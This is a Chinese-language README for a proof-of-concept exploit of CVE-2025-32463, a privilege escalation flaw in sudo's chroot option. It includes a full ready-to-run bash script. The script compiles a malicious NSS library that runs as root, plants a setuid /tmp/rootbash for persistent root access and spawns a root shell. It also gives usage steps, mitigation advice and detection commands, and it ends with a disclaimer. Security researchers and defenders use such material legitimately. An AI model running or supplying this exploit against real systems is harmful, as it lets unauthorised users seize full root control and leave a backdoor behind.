CVE-2025-32463 - Sudo Chroot 权限提升漏洞利用

概述

CVE-2025-32463 是 sudo 版本 1.9.14 至 1.9.17 中存在的一个严重本地权限提升漏洞。该漏洞允许具有 sudo 权限的攻击者利用 chroot 选项处理逻辑中的设计缺陷，将权限提升至 root。

漏洞详情

• CVE ID: CVE-2025-32463
• 受影响版本: sudo 1.9.14 - 1.9.17
• 漏洞类型: 本地权限提升 (Local Privilege Escalation, LPE)
• 严重性: 严重
• 已修复版本: sudo 1.9.17p1 及更高版本

技术描述

该漏洞是由于 sudo 安全验证过程中的时序问题 导致的。pivot_root 函数在 安全策略验证之前 被执行，使攻击者能够操纵 sudo 用于身份验证和授权的文件系统环境。

攻击流程

1. 环境操纵：攻击者创建一个受控的 chroot 环境，并放入恶意的 nsswitch.conf
2. 库注入：恶意的 NSS（Name Service Switch，名称服务切换）库被放入受控环境中
3. 权限提升：sudo 以 root 权限加载并执行恶意库
4. 获取 root 权限：攻击者获得完整的 root shell 访问权限

受影响的函数

• pivot_root：在进程执行过程中过早被调用
• set_cmnd_path：在被操纵的环境中运行
• command_matches：由于环境操纵导致安全检查被绕过

前提条件

使用此漏洞利用工具前，请确保满足以下条件：

• 目标系统运行的 sudo 版本为 1.9.14 - 1.9.17
• 当前用户具有 sudo 权限
• sudoers 配置允许 chroot 操作
• 目标系统上安装了 gcc 编译器
• 具有临时目录（例如 /tmp）的写入权限

使用方法

快速开始

1. 克隆此仓库：

git clone https://github.com/KaiHT-Ladiant/CVE-2025-32463
cd CVE-2025-32463

2. 为脚本添加执行权限：

chmod +x cve-2025-32463.sh

3. 运行漏洞利用：

./cve-2025-32463.sh

手动验证

检查目标系统是否存在漏洞：

# 检查 sudo 版本
sudo --version

# 检查 sudo 权限
sudo -l

# 查找与 chroot 相关的权限
sudo -l | grep chroot

漏洞利用代码

主要的漏洞利用脚本（cve-2025-32463.sh）：

#!/bin/bash
# CVE-2025-32463 PoC - Sudo Chroot Privilege Escalation
# Based on research by Rich Mirch @ Stratascale Cyber Research Unit

STAGE=$(mktemp -d /tmp/pentest.stage.XXXXXX)
cd ${STAGE?} || exit 1

cat > pentester.c<<'CEOF'
#include <stdlib.h>
#include <unistd.h>

void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  system("id > /tmp/pwned_proof.txt");
  system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash");
  execl("/bin/bash", "/bin/bash", NULL);
}
CEOF

mkdir -p pentest/etc libnss_
echo "passwd: /pentester" > pentest/etc/nsswitch.conf
cp /etc/group pentest/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/pentester.so.2 pentester.c

echo "[*] Exploiting CVE-2025-32463..."
echo "[*] Attempting privilege escalation..."
sudo -R pentest pentest

# Cleanup
rm -rf ${STAGE?}

验证

成功利用漏洞后，验证 root 访问权限：

# 检查当前权限
whoami

# 检查证明文件
cat /tmp/pwned_proof.txt

# 使用 setuid bash 获取持久 root 访问权限
/tmp/rootbash -p

缓解措施

立即执行的操作

1. 将 sudo 更新 至 1.9.17p1 或更高版本：

   root@kitploit:~

   # Ubuntu/Debian
   sudo apt update && sudo apt upgrade sudo
   
   # CentOS/RHEL
   sudo yum update sudo
   
   # 或
   sudo dnf update sudo
   

2. 从 sudoers 中删除 chroot 指令（临时解决方案）：

   root@kitploit:~

   # 备份当前配置
   sudo cp /etc/sudoers /etc/sudoers.backup
   
   # 删除与 chroot 相关的条目
   sudo sed -i '/chroot/d' /etc/sudoers
   
   # 验证语法
   sudo visudo -c
   

检测

监控漏洞利用尝试：

# 检查可疑的临时目录
find /tmp -name "*.stage.*" -type d

# 监控 sudo 日志
tail -f /var/log/auth.log | grep sudo

# 查找 NSS 库编译文件
find /tmp -name "libnss_*.so*" -type f

技术细节

根本原因分析

该漏洞源于 sudo 执行流程中的设计缺陷：

1. 正常的预期流程：

   • 解析用户输入
   • 验证 sudoers 策略
   • 设置环境（包括 chroot）
   • 执行命令

2. 实际存在漏洞的流程：

   • 解析用户输入
   • 执行 chroot（pivot_root）- 问题出现在此处
   • 验证 sudoers 策略（在被操纵的环境中）
   • 执行命令

NSS 库利用

该漏洞利用利用了名称服务切换（NSS）系统：

1. sudo 读取 /etc/nsswitch.conf 进行用户身份验证
2. 在 chroot 环境中，攻击者控制此文件
3. 恶意 NSS 库以 root 权限被加载
4. 库构造函数以 root 权限执行任意代码

测试环境

此漏洞利用已在以下环境中测试通过：

• Ubuntu 20.04/22.04，sudo 版本 1.9.15
• Debian 11/12，sudo 版本 1.9.14-1.9.17
• CentOS 8/9，受影响 sudo 版本
• 安装了存在漏洞 sudo 的 Docker 容器

参考资料

• 官方 sudo 安全公告
• Rich Mirch 的原始研究
• sudo 源代码分析

免责声明

⚠️ 重要声明 ⚠️

本工具仅用于 教育和授权测试目的。

• 仅在您拥有或拥有明确测试许可的系统上使用
• 未经授权使用此漏洞利用工具是非法且不道德的
• 作者不对任何误用或损害负责
• 在进行安全测试之前，请始终确保您已获得适当的授权

贡献

欢迎贡献！请：

1. Fork 本仓库
2. 创建功能分支
3. 提交带有详细描述的拉取请求

许可证

本项目采用 MIT 许可证授权 - 详情请参阅 LICENSE 文件。

更新日志

v1.0.0

• 初始版本
• 基本漏洞利用功能
• 完整文档

注意：此漏洞影响关键系统组件。请负责任地使用，并确保所有测试均已获得授权。